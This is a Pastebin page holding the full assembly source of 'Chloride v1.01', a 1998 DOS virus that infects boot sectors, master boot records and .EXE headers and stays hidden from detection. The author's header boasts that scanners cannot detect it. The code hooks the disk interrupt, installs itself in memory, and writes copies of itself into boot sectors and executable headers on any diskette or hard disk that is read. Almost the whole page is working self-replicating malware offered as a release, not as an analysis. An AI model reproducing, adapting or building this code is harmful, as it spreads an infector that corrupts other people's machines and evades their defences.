Advertisement
InfectedPacket

Chloride v1.01 Virus (1998)

Aug 2nd, 2015
327
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. ;============================================================================
  2. ;
  3. ;     NAME: Chloride v1.01
  4. ;     TYPE: Multipartite full-stealth bootsector/MBR & .EXE-header infector.
  5. ;     DATE: May - June 1998.
  6. ;   AUTHOR: T-2000 / [Invaders].
  7. ;    PHASE: Release version.
  8. ;   RATING: 90%
  9. ;     SIZE: 418 bytz.
  10. ;  TARGETS: Harddisks, 1.44M diskettes, & .EXE-headers.
  11. ;
  12. ;
  13. ;  Full-stealth bootsector/MBR & .EXE-header infector in 418 bytes.
  14. ;
  15. ;
  16. ; Chloride will go resident after boot-up from a infected disk, or execution
  17. ; of a infected file. It will then infect all non-writeprotected 1.44M
  18. ; diskettes, harddisks, and .EXE-headers which are read.
  19. ;
  20. ; Chloride was inspired by the BootEXE-virus, which infects bootsectors/MBRs
  21. ; and .EXE-headers. Only difference is that Chloride is full-stealth (it
  22. ; stealths infected bootsectors/MBRs, and EXE-headers from sectorlevel).
  23. ; Bcoz Chloride stealths from the lowest level, it cannot be detected by
  24. ; any program which doesn't use tunneling (includes TBSCAN).
  25. ;
  26. ; Gimme 32 bytes more, and I can make it compatible/fast as hell!
  27. ;
  28. ;
  29. ; TECHNICAL STUFF: Most linkers set an headersize of 512 bytes, this way
  30. ;                  there should be enough room for the relocationtable.
  31. ;                  The actual used (formatted) headersize is however, 32
  32. ;                  bytes, this leaves us (512 - 32) bytes for storage of
  33. ;                  our virus. To let the virus gain control we must set
  34. ;                  the headersize to 32 bytes (02h paragraphs), CS to zero,
  35. ;                  and IP to the virus-entrypoint.
  36. ;
  37. ;
  38. ;  HOW 2 CONTACT ME:
  39. ;                       E-Mail: T2000_@hotmail.com
  40. ;                          IRC: Undernet, #virus.
  41. ;
  42. ; Greetz go out 2 all Invaders!
  43. ; And also a big 'FUCK YOU!' to skool, work, and all other restrictions!
  44. ;
  45. ;
  46. ;                     "To be or not to be... not to be"
  47. ;                           - Last action hero -
  48. ;
  49. ;============================================================================
  50.  
  51.  
  52.                 .MODEL  TINY    ; Like all virii.
  53.                 .STACK  2048    ; Should be sufficient for us.
  54.                 .286            ; Allows us 2 use shorter instructions.
  55.                 .CODE
  56.  
  57.  
  58. Marker_Boot     EQU     19CDh   ; INT 19h
  59. Marker_File     EQU     3CEBh   ; JMP SHORT boot_entry
  60.  
  61.  
  62.                 ; == Bootsector entrypoint ==
  63.  
  64.                 JMP     Boot_Entry
  65.                 NOP
  66.  
  67.                 ; === Data-table of a 1.44M disk. ===
  68.  
  69.                 DB      4Dh,  53h, 44h,  4Fh, 53h, 35h
  70.                 DB      2Eh,  30h, 00h,  02h, 01h, 01h
  71.                 DB      00h,  02h, 0E0h, 00h, 40h, 0Bh
  72.                 DB      0F0h, 09h, 00h,  12h, 0h,  02h
  73.                 DB      00h,  00h, 00h,  00h, 00h, 00h
  74.                 DB      00h,  00h, 00h,  00h, 00h, 29H
  75.                 DB      0ECH, 16H, 29H, 18H
  76.                 DB      '=CHLORIDE!='
  77.                 DB      'FAT12   '
  78.  
  79. Boot_Entry:
  80.                 MOV     SI, 7C00h
  81.                 XOR     DI, DI
  82.  
  83.                 CLI
  84.                 MOV     SS, DI                  ; Setup stack.
  85.                 MOV     SP, SI
  86.                 STI
  87.  
  88.                 MOV     DS, DI
  89.  
  90.                 INT     12h                     ; Reserve one kilobyte.
  91.                 DEC     AX
  92.                 MOV     DS:[413h], AX
  93.  
  94.                 SHL     AX, 6                   ; Convert to segment.
  95.  
  96.                 MOV     ES, AX
  97.  
  98.                 CLD                             ; Copy virus to virussegment.
  99.                 MOV     CX, (512 / 2)
  100.                 REP     MOVSW
  101.  
  102.                 PUSH    ES                      ; Jump to relocated virus
  103.                 PUSH    OFFSET Relocated        ; in virussegment.
  104.                 RETF
  105.  
  106. Relocated:
  107.                 CALL    Hook_Int13h             ; hmmm... What would dis be?
  108.  
  109. Boot_Sig        DW      0
  110.                 ORG     $-2
  111.                 INT     19h
  112.  
  113.  
  114. Stored_TS       DW      0
  115. Stored_HD       DW      0
  116.  
  117. Check_EXE:
  118.                 PUSHA
  119.                 PUSHF
  120.                 PUSH    DS
  121.                 PUSH    ES
  122.                 PUSH    CX
  123.  
  124.                 PUSH    ES
  125.                 POP     DS
  126.  
  127.                 ; File already infected?
  128.  
  129.                 CMP     DS:[BX.Place_Sign], Marker_File
  130.                 JNE     Infect_Header
  131.  
  132.                 CLD                             ; Copy back original CS:IP.
  133.                 MOV     SI, BX                  ; - STEALTH -
  134.                 MOV     DI, BX
  135.                 ADD     SI, OFFSET Old_Entry + 32
  136.                 ADD     DI, 14h                 ; Init_IP
  137.                 MOVSW
  138.                 MOVSW
  139.  
  140.                 MOV     AX, DS:[BX.Old_HeaderSize+32]   ; Copy back headersize.
  141.                 MOV     DS:[BX.HeaderSize], AX
  142.  
  143.                 XOR     AX, AX                  ; Fill rest with zeroes.
  144.                 MOV     DI, BX                  ; - STEALTH -
  145.                 ADD     DI, 32
  146.                 MOV     CX, (512 - 32) / 2
  147.                 REP     STOSW
  148.  
  149.                 JMP     Exit_EXE
  150.  
  151. Infect_Header:
  152.                 CLD                             ; Check if the unformatted
  153.                 XOR     AX, AX                  ; part of header is empty.
  154.                 MOV     DI, BX                  ; This assures us that the
  155.                 ADD     DI, 32                  ; stealthed file is identical
  156.                 MOV     CX, (512 - 32) / 2      ; to the original one.
  157.                 REPZ    SCASW
  158.                 JNZ     Exit_EXE
  159.  
  160.                 CALL    Copy_Sector             ; Copy buffer caller 2 ours.
  161.  
  162.                 MOV     BX, OFFSET Buffer
  163.  
  164.                 MOV     SI, OFFSET Buffer.Init_IP  ; Save CS:IP.
  165.                 MOV     DI, OFFSET Old_Entry
  166.                 MOVSW
  167.                 MOVSW
  168.  
  169.                 MOV     AX, Buffer.HeaderSize   ; Save old headersize.
  170.                 MOV     Old_HeaderSize, AX
  171.  
  172.                 CLD                             ; Copy us into unformatted
  173.                 XOR     SI, SI                  ; part of header.
  174.                 MOV     DI, OFFSET Buffer + 32
  175.                 MOV     CL, ((512 - 32) / 2)
  176.                 REP     MOVSW
  177.  
  178.                 ; Set file's new entrypoint (us).
  179.  
  180.                 MOV     [BX.Init_IP], OFFSET Start
  181.                 AND     [BX.Init_CS], 0
  182.  
  183.                 MOV     [BX.HeaderSize], 02h    ; Headersize = 32 bytes.
  184.  
  185.                 MOV     AX, 0301h               ; Write infected sector.
  186.                 POP     CX
  187.                 PUSH    CX
  188.                 INT     13h
  189.  
  190. Exit_EXE:       POP     CX
  191.                 POP     ES
  192.                 POP     DS
  193.                 POPF
  194.                 POPA
  195.  
  196.                 JMP     Exit
  197.  
  198. JMP_Check_EXE:  JMP     Check_EXE
  199.  
  200. NewInt13h:
  201.                 CMP     AH, 02h                 ; Doing a read?
  202.                 JNE     JMP_Exit_Int
  203.  
  204.                 PUSHF                           ; Execute function.
  205.                 CALL    DWORD PTR CS:Int13h
  206.                 JC      Exit                    ; Exit if error occurred.
  207.  
  208.                 CMP     ES:[BX], 'ZM'           ; .EXE?
  209.                 JE      JMP_Check_EXE
  210.  
  211.                 OR      DH, DH                  ; Head 0?
  212.                 JNZ     Exit
  213.  
  214.                 CMP     CX, 01h                 ; Track 0, sector 1?
  215.                 JNE     Exit
  216.  
  217.                 CALL    Reading_Boot
  218.  
  219. Exit:           RETF    2                       ; Return to caller.
  220.  
  221. JMP_Exit_Int:   JMP     DWORD PTR CS:Int13h     ; JMP to next chain-handler.
  222.  
  223. Reading_Boot:
  224.                 PUSHF
  225.                 PUSHA
  226.                 PUSH    DS
  227.                 PUSH    ES
  228.  
  229.                 PUSH    ES
  230.                 POP     DS
  231.  
  232.                 CMP     DS:[BX.Boot_Sig], Marker_Boot
  233.                 JNE     Infect_Disk
  234.  
  235.                 MOV     AX, 0201h               ; Read original bootsector.
  236.                 MOV     CX, DS:[BX.Stored_TS]
  237.                 MOV     DX, DS:[BX.Stored_HD]
  238.                 INT     13h
  239.  
  240.                 JMP     Exit_Int13h
  241. Infect_Disk:
  242.                 CMP     DL, 80h                 ; First harddrive?
  243.                 JNB     Do_Infect
  244.  
  245.                 CMP     BYTE PTR ES:[BX+15h], 0F0h  ; HD-diskette?
  246.                 JNE     Exit_Int13h                 ; Bail-out when not.
  247.  
  248.                 MOV     DH, 01h
  249.  
  250. Do_Infect:      MOV     AX, 0301h               ; Store old bootsector.
  251.                 PUSH    AX
  252.                 MOV     CL, 0Fh
  253.                 INT     13h
  254.  
  255.                 MOV     CS:Stored_TS, CX
  256.                 MOV     CS:Stored_HD, DX
  257.  
  258.                 CALL    Copy_Sector
  259.  
  260.                 MOV     SI, 62                  ; Copy virus into bootsector.
  261.                 MOV     DI, OFFSET Buffer + 62
  262.                 MOV     DS:[DI-62], 3CEBh       ; JMP virus.
  263.                 MOV     CX, (512 - 64) / 2
  264.                 REP     MOVSW
  265.  
  266.                 POP     AX                      ; Write infected bootsector.
  267.                 MOV     BX, OFFSET Buffer
  268.                 INC     CX                      ; CX=01h.
  269.                 XOR     DH, DH
  270.                 INT     13h
  271.  
  272. Exit_Int13h:    POP     ES
  273.                 POP     DS
  274.                 POPA
  275.                 POPF
  276.  
  277.                 RETN
  278.  
  279.  
  280.  
  281.                 ; === Entrypoint of infected .EXE-files. ===
  282. START:
  283.                 PUSHA
  284.                 PUSH    DS
  285.                 PUSH    ES
  286.  
  287.                 MOV     AX, DS                  ; Get our MCB.
  288.                 DEC     AX
  289.                 MOV     DS, AX
  290.  
  291.                 XOR     SI, SI
  292.  
  293.                 ; Subtract our needs.
  294.  
  295.                 SUB     WORD PTR DS:[SI+03h], (1024 / 16)  ; From MCB.
  296.                 SUB     WORD PTR DS:[SI+12h], (1024 / 16)  ; From TOM.
  297.  
  298.                 MOV     ES, DS:[SI+12h]         ; Our segment = old TOM.
  299.  
  300.                 PUSH    CS
  301.                 POP     DS
  302.  
  303.                 CLD                             ; Copy us to TOM.
  304.                 XOR     DI, DI
  305.                 MOV     CX, 512
  306.                 PUSH    CX
  307.                 REP     MOVSB
  308.  
  309.                 PUSH    ES                      ; JMP to relocated virus.
  310.                 PUSH    OFFSET Reloc_File
  311.                 RETF
  312.  
  313.  
  314. Reloc_File:
  315.                 CALL    Hook_Int13h             ; Duh?!
  316.  
  317.                 MOV     AX, 0201h
  318.                 POP     BX                      ; BX = offset buffer.
  319.                 INC     CX                      ; CX=01h.
  320.                 MOV     DX, 80h
  321.                 INT     13h
  322.  
  323.                 POP     ES
  324.                 POP     DS
  325.                 POPA
  326.  
  327.                 MOV     AX, DS                  ; AX = PSP.
  328.                 ADD     AX, 10h + ((512 - 32) / 16)
  329.  
  330.                 ADD     CS:Old_Entry+2, AX
  331.  
  332.                 JMP     $+2                     ; Stoopid prefetcher!
  333.  
  334.                 DB      0EAh                    ; JMP FAR...
  335. Old_Entry       DW      OFFSET Carrier,  - ((512 - 32) / 16)
  336. Old_HeaderSize  DW      0
  337.  
  338.  
  339.         ; Saves the original INT 13h address and hooks it.
  340.  
  341. Hook_Int13h:
  342.                 XOR     AX, AX
  343.                 MOV     DS, AX
  344.  
  345.                 CLD
  346.                 MOV     SI, 13h * 4
  347.                 MOV     DI, OFFSET Int13h
  348.  
  349.                 CLI
  350.                 MOVSW
  351.                 MOVSW
  352.                 MOV     WORD PTR DS:[SI-4], OFFSET NewInt13h
  353.                 MOV     WORD PTR DS:[SI-2], CS
  354.                 STI
  355.  
  356.                 RETN
  357.  
  358. ; Copies the sector specified by ES:BX to our buffer.
  359. Copy_Sector:
  360.                 PUSH    ES
  361.                 POP     DS
  362.  
  363.                 PUSH    CS
  364.                 POP     ES
  365.  
  366.                 CLD                             ; Copy bootsector to our buf.
  367.                 MOV     SI, BX
  368.                 MOV     DI, OFFSET Buffer
  369.                 MOV     CX, (512 / 2)
  370.                 REP     MOVSW
  371.  
  372.                 PUSH    CS
  373.                 POP     DS
  374.  
  375.                 RETN
  376.  
  377.  
  378. Virus_Name      DB      'Cl'                    ; Dammit! makes me think
  379.                                                 ; about skool!!
  380.  
  381. Int13h          DW      0, 0
  382.  
  383.                 ORG     510
  384.                 DW      0AA55h
  385.  
  386.  
  387. Buffer:
  388.  
  389. Carrier:
  390.                 PUSH    CS
  391.                 POP     DS
  392.  
  393.                 MOV     AH, 09h
  394.                 MOV     DX, OFFSET Warning_Msg
  395.                 INT     21h
  396.  
  397.                 MOV     AX, 4C00h
  398.                 INT     21h
  399.  
  400. Warning_Msg     DB      '===> Dis file iz infected with Chloride v1.01 <==='
  401.                 DB      0Ah, 0Dh, 0Ah, 0Dh
  402.                 DB      'Full-stealth multipartite bootsector/MBR & .EXE-'
  403.                 DB      'header infector in 418 bytez.', 0Ah, 0Dh
  404.                 DB      'Coded in May - June 1998, by T-2000 / [Invaders].'
  405.                 DB      0Ah, 0Dh, '$'
  406.  
  407. ; Structure of the .EXE-header.
  408.  
  409. EXE_Header      STRUC
  410. Mark            DW      0       ; .EXE-identifier (always 'MZ').
  411. Mod512          DW      0       ; Filesize MOD 512.
  412. Byte_Pages      DW      0       ; Filesize in 512-byte pages (rounded-up).
  413. Num_Reloc       DW      0       ;
  414. HeaderSize      DW      0       ; Headersize in paragraphs.
  415. MinMem          DW      0       ; Minimal memory requirements in paragraphs.
  416. MaxMem          DW      0       ; Maximal memory requirements in paragraphs.
  417. Init_SS         DW      0       ; Program's SS.
  418. Init_SP         DW      0       ; Initial SP.
  419. Checksum        DW      0       ; Checksum, unused by MS-DOS, used by us.
  420. Init_IP         DW      0       ; Initial IP.
  421. Init_CS         DW      0       ; CS.
  422.                 DW      0
  423.                 DW      0
  424.                 DW      0
  425.                 DW      0
  426. Place_Sign      DW      0       ; JMP SHORT Boot_Entry, if infected.
  427.  
  428. EXE_Header      ENDS
  429.  
  430.                 END     START
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement